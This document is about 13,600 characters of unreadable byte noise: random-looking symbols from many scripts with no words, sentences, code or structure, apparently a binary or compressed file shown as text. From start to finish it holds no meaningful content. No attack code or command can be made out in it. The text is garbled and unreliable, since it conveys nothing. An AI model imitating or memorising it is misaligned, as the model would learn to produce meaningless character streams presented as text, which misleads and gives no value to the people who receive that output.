TXX&(f!Ý^g/j< /륃S'J֓5V^ ߟ^m{2; 0i7$&⩵ӵXEOSx5DZيt"hv_CS~A$<@ f\;Sa)6C_Ί g0(4i-k< #5t\CCh> ;!` 3-6htD]SeN }}"#Qn`F:>79$lVe~̈Ja%q~ܣ˴^lC f+/ eBa<' \*FC;|c ڀNf!L2i~<[ p&ѕAknnr틧n&fvnjn-25(!rC~D"`\T'j P`0iO͚Fkrfuəکj\'3!BIElQ?m12pQe>RwتD.ۋ XN#'Njjо4!tK_fR!@棼CJ-jaH* Np@wV[; ➄sqHlڜA?y "j!<U?hk1oa޻e8S1Н䋄!9hI B 9Ko_([f0o! 31C;XIh$ɀ禹@@0Wl ]&)s64wY3c.Mg ^1Oqs#Ms3ZNLMi} 9U~x~{$6FɬQEi2WvYF AVl VDXer(ZeͰ3)\t5\^"rШs wP5f7NK$f^q{"L]z`@DQh6f~hG5uU7G~ .#3P TV!nژPf6Չ>l6 9@Җ5Ϛ62t@7 L2  t'ԯbHԼwWfɊ7=.=bx %d? a 9epHҩ K\ۏ$C%0 ntv:M`᳑Basp& )"-qc @Ibk3ePF8ZmUL((qP05n'CVijɿX?qg^:ӛ[[PV8 6=Iɉ(cG@Lb!ll8߬MvvVbq~/%Ii҂ϡ֣T=!BPS:muvPsϥ;Z|s,G:pHgVuZR>f@e⋮@F<6Ͳ.L /)X 3"LN>^m w'>\C]9b Jn)snt__xEKD B $gYAV>g$%L0L#{&ΝFtd\P=a4 8"<ܝsL^^NEcvH-_>֋;|+c! 8O/.规Jn8&,%st]6( kH6 Fq#(ۉ[y{0(^ ֿbףŬ &fzCqI<Μ$((h\EDCc_x/E.:i^+Ο1צ҂Ji4@`lxNL$搘6T.?4] X1h|}g8<1Ȥ< @K// 5pלotpa jtbE Ey&Ц4`د$L"Jvi ljZ%=')8e`8T*M8.w~\(Htv r"jDoGG ilHe%ia&9dd>-i lMܰTA$VHG| $ :1R s\Z $Pjۇ]ًg8`簆 zߒVXݕxrtX/Ap2^[1~R{뚬ɇ:kCU'5n%'CXP06Gۮl[<NscOFeQ-gi$RNo7Wz _t"?z6y/H}ё{qL$ -a[st nSn2ğ@ѷxHNp2& 3 fx) WP'h7f> s!;p&QcN>OgdHE1u {^گV}2@JHS>!~L^d r5/GyNW-`ɚLJ=(RV2ȏM;:-A0<Ȥ L1L~.ܤkgLinNdu'f]BsLA5ShKvvn-_e9eV"mB:GΫxcZX oyHKgT~cN¸OZK:bA%9C ]oʗw1)(t^?uƦ-A99NلL#A2Yu5/_=fqljއˡ?uArZ]AX _vM1V&P\6X2m7䥱[lҏ'AQ6R S Q}딭SeS\D-wLrTC]ӎorly݂XJ^fo - ˰(X3R>\# 9VP饘QՐۑ,aeX#*gVTnqGL(Z)oMi!#ZH.$ɀW\p*ȶ /.gy 9L2p(#Z-)ijjԭ=0b`n0a]k2I)XE8fnDη%8CS.oěNg'dp-J=aYɹبNkY Ե=fNH^f<(|E(SL\>u4vdN~HN[nDeh/ڈ(21he_ʔQnV=CHEgi~%B15czŕ v >aY%e&c!pIB 8г]~A-l641/[\\Z I T4Waa8'lxRYNej3:-:G6vad$$`M,ܔCz3!q1]Ӌn#xBl]K^t_@YugSk]OƤ&v:NaLewɋ-hY}:xi O x|+^ñCq%]{[[q" x@LupՔj -[=ئ\ ejq[%^W'Hjyc%J8Imx=C/].&w4D,Ƙ3"z`U |M:3Qc!_ǣW(WjqS#f(G4GޗI>nڄE٩^˗nHG[M'C&Ǹ'orUmNݾwJ?6\AbGNzŽ2qXDIa'HVT으Et|G3( oOtrJls<;3)YQ`gw8"o&7>cѭ^@& tT}g$}0hh)GTsy4r o MH; Φw~| !( ad" -sQg#,1M|/uhR-.k$GK,݅1a=aYPA,q%! ONzvN6^>ƬAvJFӽ) /ުl̒B3GM'[,n\\kѣ m1hmo>!jM0C <埵ߎ\`K|_xN`ǀpWJ jHLM<_=CM@Wޅ%ꉷdžf%Mnp Z3@>'Md Y,BTuJ:o>b^չȑދGx_W`H "=ϟz&=@%ӌHqixDHXxjꄯK |@QTP+:uc}ОT B5ڨ81hȩaFuXLc[nNרxtNDX*N8s7|2 R{>}78.GyՂOg#Qq'g fKY`9h2„6$} (T?}A`78LHFRG EFJXw!SKr@EKa2'ʌ%v[؟[7SFjj[5hMt,^i#Coq§ZeteWip_t^*>VlhZQjXB㨪9q7@'[=eH+^їa/G6z<6)yжDHwFv2nF)%d.)ەP6^÷r {hj)ϰy"T㝼jMUd΂Mݱ[Dg4{+ݝ:<9qAw L}A=£6۠evAu+U_Q3f?R\0R R^ ,VwW2`A vG<9 4nX;? ?*uV0{[4"΂,qӼ? p}_gKB_ %_g=Ih|.ݥąV^1䓺0 "{7ms9ꛦBNIpi{ ]J :My%uGVց kkpyjp:G]Z$0 _N+M7Y2l @x6q 459OТ}Trf52k t߲}pU\ursVlתa޲ }Vm~3gm,\7m}-*,EHq$Yx=E_V'CRiND9/ Cbx@8`2I̪,!f݄nE8b+Q2쪘CZ^?GVf砱(BIe+9: A  v4RBH zѳy|x֣W?EtFOܔc=1E$V(T} rY!HhQ!.F/ dիG0;j86t 8y QG/Za3= O_ؤJPגIRsZ=|ڼA##su曻;..tש:KIT'6m7":sbqyL@Z,Y bg,n{O;]ɪ!_"=cӺdij2GBX$|i!*nT%;*^3/cEs4CwLj})<(YpHwW^HL- vpđ@wПp̹UK>1뷀L˾f0pΎ=_! 9q[ƭt-c\ @q]CAJpPao|ylN{F*3FxLTv0ԛV,jHA(\xxtP R^Sh"HJn#_p.$s2iB{TuZK t\LI%* P={b"UQ"VR} >Z ŊNVݮ-Jh σ ^ ;FQ,*+""00):;:VP8*e(7Jl0oHe^Ɗy%`4Y[eX}6KJ˩^#<ɝI_/23-@l4`P=K&=.)՜XvLfo BG]ޮ+؂PyInV`k-~SddcU.gƗ' 1N0P!ίH]Hf[Zx\. +\_4bOv#v!l,x<DxIN-Fe,/\mdPyIrǐ&$GKKև1qzG!A38̍97U;ȴVeg ݌LΐotpR# AD䶅)m"ǛX!-ΜaR_});;6П(o:֔qC^Ǖ۵A=zOb d~hzn/J~ǪŤzS,JJ#2ŭi Z~_{c]obR:v:?e? tZ]ָՠgժMk&zzq%UCW\Yڻes7ivZdTVQC$mČki wƿ#;̋ %yG8@5:yq)|⌬N=Bց^\S8]]?{rW[-+Wq)^2-KK0g4LҼ&OSPdŞ-m>nxQyY崎byCQA)BD`<`7%f"Y>ШG]T}_T,a^&xԠ,v4EpW¶SANⅭgj)&d 5 4($sDBݦxOhXQLw`qnPsTs'@Tz,2J*njވ4_}3יjҫ-%i POF?kjS#G'p1Jmba[2?kKq!@-^Y97*o0iMl=ߺ(7g_ǙWأ.. pk #c]@qos]vKi]C+K6 -/'S{VF#pƦuO&gzutxeL.vsMfџ@/)uA)0!۽)/Y_$mU?S^ GqVċj.vUH0mǕ*3bt3($F#PhzZo\d沠pmL~L jbmmK qsN"Q_Qh9 -㳟CUџO=ކy5 YkN.eui#uڒࠠp *!C_߻3Qpazmg- -k 8Z莧YPdM`TGhѤ]:dVNvcW:w|kҁ.:ӫOڑsw pT %z΁ه*0) A&3PPQ_i.-Z!%Ttf3k״+f6 6mPяH4ׇ2 umMCͥpm*Y˭9_J[.9&,rHi߃8Ʌa[Nnx J#u:nY}lzӮ^Y;zӉ1`7zv/_眓{='T `Jټ]ȇU)K{v[՝y`-0-?^[mSƐ=O#_DqqmR0) ibJ}I克WTm Aj/bYFNGuc\:i%fU,pIp ^yBcx2 Vb6Nd ٍәTlW{tĈT{S/QYK7#pQcGogQG?e<tJ83YިF^:̊|ʚ8`r}QhF4뢺j":k2;k.,&zTIFTy=K;pr$Ѳ8f_TIV[[ź`.N0U8IY D57o- !mv9\/KR!6 b\+'Ie/aFzͷ{P|w4ej-t۠^\SK+'JRSf4Ԗ+e"Ӄj\ʌE.>p!\B}vچN!"fR0rG߻* /J6Mn~}}<olϸpf%n~WXUlA!ˍ!ӫ8iD*z3@EYoJNC8f,R ƏmwE(iwLe7xЬ2Lz B,'\n@Oޤl os4PcXY }tp- yC&z Z`7)T)0jJׯ$7 ۷oUckwY;8>+g6w&$>ނu> VZJg˿=>Oi]@QYOƽ AIN%F(Y99JC4Q@J9u3p=0A1 ,^>(HRBxLԇj-ap37ubNV4|u砋ale zJ@5yCQ@RRqO¼p1Bj*O|O ,0߰ʹн,u Hs5IJR(+FL?Fh#~J1 p)O"-Jq Ƀ7u6(ۄ!P@>Á1 &'s3هX,9Y|sACEvp|̺%37_*xC8 <"'"G!£V볩s&<6D-mttzq5"mJ}_(^m'Vs۴F>}*sVӇ"m9oq{o! <]w@a#aYY}i|#r\I _ߙW+"푎Nܞ0|98ֽ .yfnsˡb~p*5E#s vN9>cQG!Ú8Њy6& -2~Q[aṖо)5_[z_itb(߭O=C/ P4? 9T,1լ9"fP]SԜ(0v4sJsbnQ{} #@ɏU^R+/6' Kh-Fs5XޖXyXQ3 WKb"&â{[mpZֶ/ʲZ[Z-l$NeWHWM_ Vӧxs䀱X )oC&6lktIp].@?wShs-$9nP[pYӲG:Etb&< E_p0JtzX B.R .EĎu-0OSBþm Ǣ]vd`ÝXP[ VC4O0&zu4&Eʙ'tAB%+DˎG~AxCPKZnRgx+i|oʜ8oqJ`G~ ɕo P 8yuq뢵𐠵Ռ=ƶT·n2paA/F[ ]+p^F(?ɬ3ggQ)ĊDLm4G;?81[ѫT> =Q8)ʒ5ck+gdRA|vakBcz[C8^'դOS0* )5r|Ȥ^?z}[SWUT}?LU^}L 6h8 bǎEڰn/MA66Mkr0.'})X "9O ~.7@3_~I*`֣q^ Q(Tߠ1``w2uՓأ0F(zcgsSolP8C4>@e1bς zF]5Qƃ/Y vAfGWJ;=yw@Rq\kK0{2tv0="w 0Nr DnJ`37%/-*R.U+[lQ7H0x/{džq8>6F'0*G\Qa$;hfEBC-`0)y[hʑV H2pCxQP¥9>&zgိ*+kɼ'W_~IPg_CO{b̖aշN ~A'/I팟o" ܬ*0wKOLxi1M*ˀzܗ{ meJ!,O'Z2Nm:ܢ*G`x]sҶ#fD\FIHw]I ?7#ȂU.5w5ɮR?70:3np&9&VupAFsUc;I}!\Uv}bz:9y! Rξ N@)0ߗDd;(AXr[BNa+{?X/Jڽ՜vݶ6lҤgO%P (/V j>MTc74bɤ^~^()yIЄe7a'xU$u8/NΨ'nh贑51;^n48ߖSqF; Jx]]Y MG-WM_ KVgGg>W&i& əۣκ5XnF>gla⧲0x){8}>;|9 i 7?kNW APEjpYrҊJp7~V8o? 3#JF ;Sl6QAiCfT0YwI+~[kB41L[*;/jLAM0X}>.tغutjiZ6)udn? |n4oZ8H/h!}I>d _Y3rDwc6ZKجA;T GXKb4p:I9m{#?{X%CKM;E({vT6 LaY}jOѭTв`u Jۃ2f1D/MR1Cb @#^$yH"c%߀.MtBl7 ^]]]*eg^1: v"t2=M@f]M̟D_w`tјmuJw"BhO;ֽ.w3,eJVKmC2LCyӝOLU{/\"K h bxZLRiO(=|V})׾[[P[n26YK UL}W0$ڃR: O3Ij(ΒRօJ )HInS(gKp 2\oNya軚8'p%KEEgO[:*׸pⳇWFt!Woڧ"˲"CրooBJd;'K͒__hv+ dލ 'VmI.^˅ 8BsfG08ռ*ʮ ꩐Tҕc6s~JimxY~V)Iƛ+hΜ;]EBAАQl"U,C)'fC{KD]p#(^ys==UjonlVeuiJ+$dU#;O ?92 <;q>o Trx& ['-xp0j[;3Iw6N?;K9YR2vrD3' KgՂ?h?r_K& `t͡񟞉y7&.>tu4ߛG :^MpvwڴYz~ڇձM٪!RWd;# ^zʈQ t\Wy\OJ14:5\ SXT ݓgvV9UkX,miM\(n>EI aIi_,( ;.s)=5AI(wXg}4YDp4{jq(Q ̷ZJUZfK*xC~p"2r#$!JzZY.^|h}zXaIEXgt^4R{fLypᚚ1ި|O 25" tUAޗ@uRPNX1ZN/ܨxIQ×_y6EK / cuDo7դ |2VC f+H :`wiy~wkt@4OE],<ͦ?sb1- JAA2-=t칙Cõ̍: Ba;WCEΞr{`&,'t[8qu -(J]4 ʹ5ay hhY.4j&4a q'( 5sXGjWB~cm۶/.6a_A5+=d >Ĺ_.h8tBs0HJll[UH4v. >]( k9. UA:,A-wyʰ҉VjVU ^}|wTHӘ,Aq0;,ZD*#{lH7bRX0CduBѢ5d=V\T=Q37o qA̐AOlܿ!{_uD G_rkߘT^}Wo).8|gWPCeJx6N(~v_;ΞS?W#M˿^SmG θJQ50 i<&+;V=KrU e#,tFjëΓU|N'uLx&) 6wrroG4 LR gnZa#t+2>if!ϥ)Ǿ>0$&qqJY\IS(ˤ7^+'wٚze !e-ݙ{awτ K"Jd Ly"FջPn)ж w-YU6L8"!ѡ|Fj=cȠERz!z|%%N{9c׉S'I#ܳ&QFn๕ !JƄeeo},XM0cs9]e08ux޾B䦂@h~T$% ?-&=EsnϨf'$Є`9wvȒߖ$sNy7zԯ3.ɉA>c,vA?p-?#Gv˧hm,QvG=KԾ nk@p*;rQwZ*ړǤ 3νեwR-`Qz\ӧvch:pZ7ןg~#;xDtO|tҺ}&Y9ƮpbuU[]Tι#UFo~yեj`a~.;&\UBD<j5yуo)],+]*D89żmSTI9⺹"_KKgh&\^a= X(u`mgO,Ӊh}y$ے$ E[b \ڊxl~[l:鈼,g\jgY '&f)GL|ƭ*Qpr~;ZI] !q٘ >0S|_Aeg<28@+5 3gKp:ELBvKj:*&z0V >GXCJIOErWb$W+^jɒϖ6HX#18 ˌ5ԋ`֩wGU,03 ̵1 Q&g;!]vX~0a \MF4C&h VӾӗ|怙w9}9/HY1˚W(u2igo}9~!V7;:H xǗ~㲿vWزj w$kʪe1Z^W$S+ļњ,-3!cmh9% Q*;%_8FV(s߷f8dشgm5@@7V։!)^`#m܊Gk!yu訦(+q:­D݉5/bwb+bᎁ6}HЛm$te1-ě G]iܘ$Q:npysǩBq8Hr-;-cN*rJ]cGYucyUku DQ):4^K<|XEޚ.Hxr亞jΚơ-]eU6xbk_loⰯuvoLzA+$^ҕ\w%>[PG<2FnD!$Sx8;;(~ Wou\Ht*GĞv:[Lr-yGm k-6K=9D>GkaDl9*K2J8OsP"偙bN% pxcN&ay{Mlƪ3#LmN̕&>4wՙި|3}+e}_,,ALu[ϲQJ5'z@NԝZ̉ED@(PVdl\8N&,)I]dNY8+ʞ_wu⥊8#+1d8s6Ǭ}壯 Uyfc+!)Ȧ1[N}3ǮIGu]x~^ʔ4 qd[>,{1#^3ID=q$%ɥ:A*Cg R@ BH@!Tnwl˭a]ɬz5 {z1R&l\WџgEIّt)8RTp*YMڋFfR8VYbJir5Fč N4egH%<ټ njc*v<᧼ /Ujao.lGvAvPؠZj9IdAvƉ< jO3j5KhiMt|en*=-ABQ׍.|"?Ïs\Z%gt2^L#;K0>;!SSI!!H>S|BϵŵQN,$,J,ya>A"TSMK"I쫈+;;Ӽ[5*^1!;m--?wb^eCiO{*NC/.Ms'  f+vS'̘  TkOHLTpRs#2Y@2N6^T)u[>4(n#*w²Jb$ȤFTxM3,"& ܴyWm k!o , ˒e6GG\r]U2%8WH CQo娣)*[zb2nʹ.CL?gl2\#.WY`WG>r8e1jB Uq8`{l_d9)\$n +L[o"N>eYfC-\Qz%seg@% I^؄*ӬD/j1'$YF\(AЃ]xiZk$5U܈?ZN:5ZC'Zܤ}w~HEVN'O:R|J%ءC.^ڎ`g͐(3!a [0ɘ»#c]j)`rsJ!*jcf`o+ ;mxx 2= }JKo a XN-K;xL@@a,u]ϺU,Y;Ia˯%y\ #2"daE޵>P~?nŠv]wZY׬a)33t2T۷MN6=?Cݹސd}1y"9gV˚!Z1qz&Ww-fRC|K>'cwA?`6$,|Ckٝ0->\#˽5KLiTom\[کNJXu}ꕵۡx[@4u g@+"R.AST+8S3r P,qݕV^fbڝ]d|k xtQ ä=:qC/ѾK69@̦8ۃ)6mkϋz{vC Gv̠d lCȇ`hr.SFmإ>2푈n\y 3k43b?sNjT%a)2}7 I }A6m"o'iLII5y?|Ue-Ңhb=Ϫ۱_*'{h3ry":U@>q|J!׎72ZΝ ]p%},r Tāeu1't̖Xm٩X$:Dl>OKX[;4Eh!BAjZ<|:f^Oh5a Ku/bztw~8i$oot^3Q?rLˊfoInHiqUgg)Ӈi-aui4,a{ nY$HkJcJ8@t1Ay8RQ)( qr<'T2QUET ԫ *DWV-J(YWZ~]^oP6{ [=ʤƔڗ>!C/9kyyrL+>;ʒ[/ fn>O< 1#ryw70"aYM0Ib8H^-ri a ޴B7N9!gI 2iOB *{Ȫ!&FsSmt*Vch|ʢ&E=E+BJ&Q"/qd"8Yn$:W|8a% F~\\ =w帙"i4}BW3߬[o4Yf"31Doڔr]CpϼAylk7S Lj @>s%0)uA 9-^{#x/ަL[`0/(?¨Y)؛a wI{ddC1ڐGdj<R0*eYCNsI(~.D*; ڻ{VqS[BOl]yWMRZ$.%qj"̙.9*H*:HfcEpRoQ#"htL\V Of}=Q]LH|_~kϣ񏈔vrți&!*)rIb@쪖%M5Нs!N=3h%`U3yV| pk,6խ]+{EΗ\^yn۔.*QzMOտD'TS\0WU'5:#h΅A%EZʜ5bҜ6M.^qӶX(1]l(4AҢۋVXkv)^ۚn6eQ~q`a4ElZ{!eٹ Rfmwš|Nwda{%Q cygRA9zXBN|5ّO49_w9.fo(D\EPl~PˢA'Ǐm |)]ˍ1<|`){y?J;|Ɠ=J7MMA~weHb^;+4T1纲ѳ'ZNWRfZx R}Eڢu^} =ּ3CAlC\'EΩ).b.-GB؄HA|ZEy˭yH: $'Xv3&yVQJ/I^ '4ZY[}>ēnѭţvTow(kxǂ Կ^gWzۼr1k }Pc.fŝL@^-7pjorͤDⶴ ppKtrU}$gmJtAPv h*ٲ͛-Zv&dHj|4P9?]]zw wLz zЩ!.+',zb8*߮$jΆ,7bCo/]Eh+#PN: q͸E@G4+5|"E@8xy>XqI3%4&Ueѣxޜ+V[ W?$U7H2ܘm &{}3}`RU=}ii*"Q:, !86ܤP'TsrvwMDKOxinM'\W mFfPOV \`%~JJvCm8kv9EgfvG١w20$-\IMD7OۺrU :Qڃ1<; -:z^%qBZKQD{җxoe%*p 7|-t<^xأbT*n }ۙo˞(ﴲ\^(Zn3fZ,2:"n@{8,-^wQRE~ '>@^U>W5 %3#X5"߶縵mw #,,C8閅WO=ĻH7=ζ:+ ᓞ(NQxTa7$m};aÿmk.47Kt݋B{Z=+IwoN.R"kO5haCK0OP$/{qu[_f_".wy$8)"oX;34Z'G&o5gȬ [푂px$~VlYy?A:O0O.?Iv{~ lz]%xդ1G2 ͯ4` 1w^"B~<׎kh:&9Dɗ@ I4|ߖ^y~r׮ۙ|,y-nQߖBN"n%;TsB֭f =3EXX7W s i*(*+"AC.ڥ+:WR^mSQMz+ . sS!F]bZxL}NN $pgvE mA~DPh#.0k㲧on?֭l/Ox$] L`.\(P+:rj{x}cO#V ̥): f(ýQ ǀ*[յ~-`h1):ҙn@-݁'>c(>,U0.Q/sU*kޑR1&&;{=< QdÅR%R F@"zEG1M}<*:Q5 zW ՟DKj~_  [#Z/9XMFۇ{7șک+hsDf!!/y {ܸ=g0<)84TMʦzj^K"$L+܏!^\*d%\%Ns$Z:˼&,t 'U}~# \ɝ/!-mYVB-Ei8ɷ92jW][тQT~79E3SѧB0n+\q\Xh;edIx6> XCVrpNFK|99QPba-~ $GnX?:a.pf. !®Cf߄Z$ ݞ\؉jrvb1F4 %B B k"r,$$\7K5sn_ +v P$ϩ3/x>Jaw/TiXFN)@ԅAK$r>Gnc QR] ]e\C w^ʺ𑞯W6ު}LB|ұ61R pn=  b>@kDRƌB MQnh50qb9j C_~Poaʀ1>bשiv63u_;fj/1'y9D8a n+.Zfq>ZTΟάs6 wV @)w1`h |ZwUia{]"5 X MDXfl|6b3Z=cddž/bWOgL  Á^ ~Їo;Lx0e_Z,Cõݷ%"({>96?C`/}G(? Zi 6m v{L3Z[ax'96!12'pͥ[˔))L@ƙV~+r2ʑkk9Z 0NG25raQJ #+Z,OhO :X=`O0 ߋWݴcZBb4l’ٟsԳܻYj(J՜:qZo%9" ]c,:ZrPA<@p/" g][uoW(AǸ3aIL/)^j_s;_"KY mĄ"oj=1HfΤ;F U\V>{9Yc6J?x̀W0M-7ؙHrV2 I<( 5uywjBtA֏o\e3YL\ʺkl#ss˯Gb/kBZ0rDhDq9WzC8 @C4.7U{_\_}#!|z(12Od@C?x7 N.?yjvGCҌ"ʚYlC`2'%b[iܫ6hLF HO] M"U1P [9X |UB S~z|.4TP{.b9py-~^z \@JX`nbDWpk9_c,:2YaFμҦ׭b1DLcau"ҝTT 7+ovzӀƣ iO~}$f}e]Է99y26WLuS Mvq9t)iG׉06G -0I#u1}ŭ[cz6WŁ!-pi?K8'`PCrrp\B;ki~8߯I{'DʪJ"am@!BS҂ ?{łk}MqWW,/R+OC[Yw3|ck=} Qc;Y4ed6nگlc`,ɩߤ@7iM=Gs4g%rGpHC5p#S/ڝ* ϓ]6}NxErP?SrbO{Qph*LbY Sn /BZ; }m~9a4-h[ ͎ϭJ$1N&|'c䬥/ʺ&᧥,/94 g)^D/P"܈Edӽ &S#pKDD Ț M9B4Ge@f~޻;a~WOk CL T|;v)␳aH z=lyNS^xG0fx!eƸ.9\( (noAiO@ut:)SPU6&*Bvp F~[@]Ja0dTx͊ZС q0.W2v1hd-CZVA@Gñ|g;=E4'K<@|4^q |\V1p%[#S#F#-CI̥+\),Wyy:#sQP^,JzF "穼ƹ0-hq(B?Z{)6{oݔ2WCtˋg5T8,+Oe0HUܺvRrAD 6ř!D)n:nc a=2ݫws9OYV@^XI{+ #bWy+@% 0.{'~{dzr/ێlL*bd_Ecfa"sص- v$95]&,̋PLY$8>=[w<* C~$\YY7W$Y^qF%EAWQ7{EH2C)Cu͔.w9AYȓKcd Ị< wTPNwbԡ"~H66_0wnDKAANe9iFVg?#|ּ^2|Ś{A&X|[QhY^oG|#W*fe`-ޣ\6i˺.tu/^ykA/˙5nnמz]1Z[ϝomV95˅_6 e^^!MMHчVx]m$ՏKJM4F-oQC23q/T])<6.jxo/|CA^[cB2|A {o1K{2A`O F8;' 9ƀ@bR]ʷq,Vo<*l^ܫQcT_5?$U0_9׊ f)Cץ) יP["q,6 #acd$\ـݻgyZgvbԷaz8{ț}BhA{mD.'*KOik;D #/h;@± !+ګ-ckn.v$?:ܗb{azKޣdGkyVֶZͥ:'Zsg.O\/+i.5j>( =>v w=7\4߈y~)qNKss~9< k {doÞ;Z荄AR4vríḾѲʀ&_>p9UF(#eI|K!Вl036nLGe*6Ne /ˌԎŪjj՚we7r|т֔讞 AZSCr ֔BInt~-#ZVvLBr"9ŗ598Vxh_d^:|xmW(~ My+)#%ʂu~ޯщ*KX8[4XL{J.. 5|E^]sҝcC~L@!=Iuzmʐ^IU:d݌a?a2h/iy;nQo (& =X;-?vkC) fm9ҟEf^-MזJ=4o,q˒i^X\lX޳ۓ{-:V{??&*_i]Ţ@T~9{UpMXאjS雩W::@VVپ=-}_ey{Ď^gifhjrԮ 0(w90{T,OT<~ >ϷXVX8^tΪ/y F&$ZLȏ!DHn˃8mL:dJ'!c\?<ƶ}@}݁ "'||2_}W 3:}6)X.邈Iemś[:ޝrmL#hd c^o;6a!mLS >nN-j'9BPB"7%"J<Z) }B [Sgԓd%7 O MmfZdQ?8k 8VjW{z 5zՄff2!]J73Cƅ2P,Mwǹ*)5H% s9ҏtIT H'~icK"~X=~KH^!Oq& "^S9c*l`t122Qd @Z1N[ :H\t܆CeSSR|DXECydhp9@<(+$̙4;.9댋)5des׷z$Uf{<&v$b)K WTR8Yj'?K^GW{o%8dwJgMz 3.7S[^n?ԣlC9XdC?5{/{/{ 2D{D uwo̧ CjcT#Ț y+L@w1c@]?|K 9dXe,r755뼼ِ\\5A 7 [B~bs^wE)`sOrя)eަlCZ@Kgߝz/miM)|DRѿ=/|pzWPC !Uqu.fc^tX\ZZJ9V]бو+|fq,ҏA_/儘(# :ΓkQn~C <ϳMfɥ$<;eڤ1%iEUgq*;R1=XhW`VUr7.Y"qyW(M&qψb)cAnjIW4ytҝ1Q܃j 6W!hd77"N˴:CM\ti1r[?Ѓo{TEzr 6k?ZQ[7/V{.=ծ"+9= KLe,`S w9oW͡ɓl _G׆aR0e_ǁu5X2k>[:kї/7:YÒ+W.1Ade;f4Y.H:^θ`"7%1$E5:DkP2r@5ݕ+Zf}G 7R=4GObT˷ ώ#_w Taҳjt[H -ysGdhAu.Z54N^RӲG2Qё\I>]zP=>';r?8Dx[k5j4ITU W0*hڬFgLRgX,cA!*}% sY|{F+u]$_oIr+sźv8sR?,%_'N,8+ kħFgd/$[5'Zǡ)A{P {2dfܥC(QUg1r\;Hbb τe+lI""Ӝ .?>ikV2Yr.6ы<OF}Klc+$#˧{ɘ 6S9Ґud`*ٕX5=eou7~4-xf&|ۼc;¼,Z_ݥ&k㯩 \&cwFc렮7ؔWK]}QY:H A=r/KuWT7Voi;Ս+ݖO?em+9W*3Mu=-ZR)Qv!EQa(9P+Bv{@E5*q]?vS!W㐸7g!N£IrWOԇdmbWBM!*I>t39 3D˓ʬy*{+ IfD$5w[EGeLeurH1T~ΧtWyw$vsjf2(dFg]kSz!~']:4`lyi1Yʸ7yT)IJu ^ճķ'^DvIwN{+$>| ؿzFda ObDL{̬o<5|ʐ-DIߚkyBoW+o^'^N? =8\|7rp0~Iq X3 Xdyzl0E p)KdBĔ,DK Ξkm?^$ fRd9M"Q%ƨѣfHç]9_RUAq}<=^F-ڋV욽Vq*ĝ/sru!`D[Iw=) EkvkȿgouS,`*糣: g mb|{{qOuyeڬ(+7oʈz0'#2VQǗME} LK4~I:ֲnj5'Je9wse>{hPg,f!k土^Ɔl|wu|Ñ߬DQx3Ckp)eC>Ԟ$2f=:Hh5ڢhFL,@:E~7BV?Q#3QA.јڬxWujTa7`N"*kKbYJD: ,T3sq%̓!Lo oPMZ~8_BUh2|H@mEj]<m wFɇ|![$Q#zT֞N6 讎HNb!b'rV!Rn&>ww)rR`><\|a +Q۹o=b$Jhܒ"A丄uu?\hG!7˽&K>p50E*~#>ĤR>p8%q{}# pqͿfOG[pVarNv @`HrrUHkέ|zg,tQͭNb)Y0G}ws=?1]Ο.:X ӻ$Vލځsw/@@{W,}v✥"ԸzEIIKUŏIeP`fq4ꒀy]%] -"Փ9szRi ٪Ӎ럤1!Sj3 ^-S`Y9%̥ʒ>2.-}pѷ7^-R2U[KV^j]N牅a"}-| k2a^!b)-D*57hoѠJ?\ζn<oQ0^06%g>)fU*7U'M$+6_7 ԤY|jipUzǵA[ .`{ f"[ꨃH170u eeɲHk.a03eTuu+(l:*owQʑGwE8wU՛nK- ͎KMr9]ay+2p+ҹx?_Q{(Ƕ; -!1FR9nf !К?n cD$=Kn,PYgxqͩ'C }G%3CgQӜc$n%lcfUˌN^ޤM-'KVϚ9yezbQȵƏxTRQ5~ ^u9g3f {&#TuH8%2t):N#s??%?05љT*Rg)Sאy"҇SAܻ錪)qRK=WH=.(<>L},7汫ƎP s+fIX\h;sb).VĦ,|pUYY }0ӐTzqMeRp -NS\ .] HdvidK9}dqzK5nX e5bF6ʍmC@;?{R,l=pe(FM-c<: GНn喊&RaRVz*/ҴT#H6v#I(V!QҠG߄+xm2k3zU35հ2o~Gqrv * [ՒC[~:m&$4ijB84|؍pHr+ƺQ)؂I gHSba-ui-l/о0\M}K?FdD{={<ԍ^Ѡ;|x݋ ]94jFaf|l\Q!r53Lc6?aa5cG|-ls^8%6uO9Qǟ nXIx4paܽfζK~?+2yIb);(JΕFH+*1&"ɰɍPa%'of?cOOK 8VzMécg֧6Y_} om+zgT|VQ?'"xR;gO^L8;qaߘlLbL\Ww>k~[gwk:>2}ZB{W ,w&S ka@Ը?6>3n=)?{2H2, )qH` ޕ3jkTĞB?Qm$%)}bUq_cqY -_1Ӂ)j?E=7>-96l. sx"hc[y7?N - TK79|ѰxzjgmhInHog)v~ C;LJqu pmW<˗=l+(lCPm-[IHHK(|LQkgª?CEBx}QN";FNUcE\k5EG н^Jv<+Dk rKCN w¹*{Ϛ>jhÉW~{|kÿ$a=g1izf҆Mm  z`0X*+Gn ?J >[Std>)`zdM+9,Z', į>cu}nmĐN=z8$Rգ3c 1MEKY$ 5 ]Y^=xܠKHUNyxUqYd*ggmnL%r䰼!@Z"["(͘pfk"v$ρ9&LIQV:WIZk7TT!X52QIe(ZP b}LLϰ:.'T/ kS->lT5}Tr#e(SG:'WmP 8oVV7S*6⋫-7kI5P|-wSX-g `(TzI(jaZc^w.8g-fV]hl3.yOu2&8EAD|L|Z3ɡ2]ۑ5KqO[شܵ,Մ>k*jsέ *Ѯ|\A[ T O=5@'z=]Z(CGEfM8GWP+qNEmF068Z:b7-Ь%{Ch1^tm,R\H TZ#x㮽`Y'}?}iou8KP1㥙夆CZ"8@x µ-``Pj}6LlRU\6[ CZN"*Y=3CȾ3ڣx~,ceG ;,5R>Uw6ԼSAR7|aqu^ځ;V`ۼ:{~۔x9:7N+m1f75dGrzZFݬ(:%P 9GaxLIrl2}>Mn?KwE/:T@Y_a^OME^3 O\s _ ^9$-Q5y'msс cvV I߇!?I$7ܡ\ód[#mH܁F&8$*pw,意hiḩt-,6i0I^,`Ś7{~5QR ]5j^FiT\?8E|ӕ_eoH{UĠT&L-3QWnԤuM* ۥD+%j;bͮ' Y> (؟4 w]|/JW#ȤZca7B'8:{} N$8oQ|W mOnL)Q^!WCM8}:Nhۑc&4ٝqo_@xމɐ5 Q+t*\]w C!W^"ywne/R=`*5bJzMwZN h PQ7޴-␜EgC29*XYKUk&D\4]aw-5&_kD@;I1fͫ{C[ŏY}ExdS9ɇ@~$`KPK}=wvZR ?Ph{%Zdϙ'biys-KhOü. [4/%0y]|(珫DBˀ(D뺹"cfw8NgPmzdo *Ģj6hni[}iY 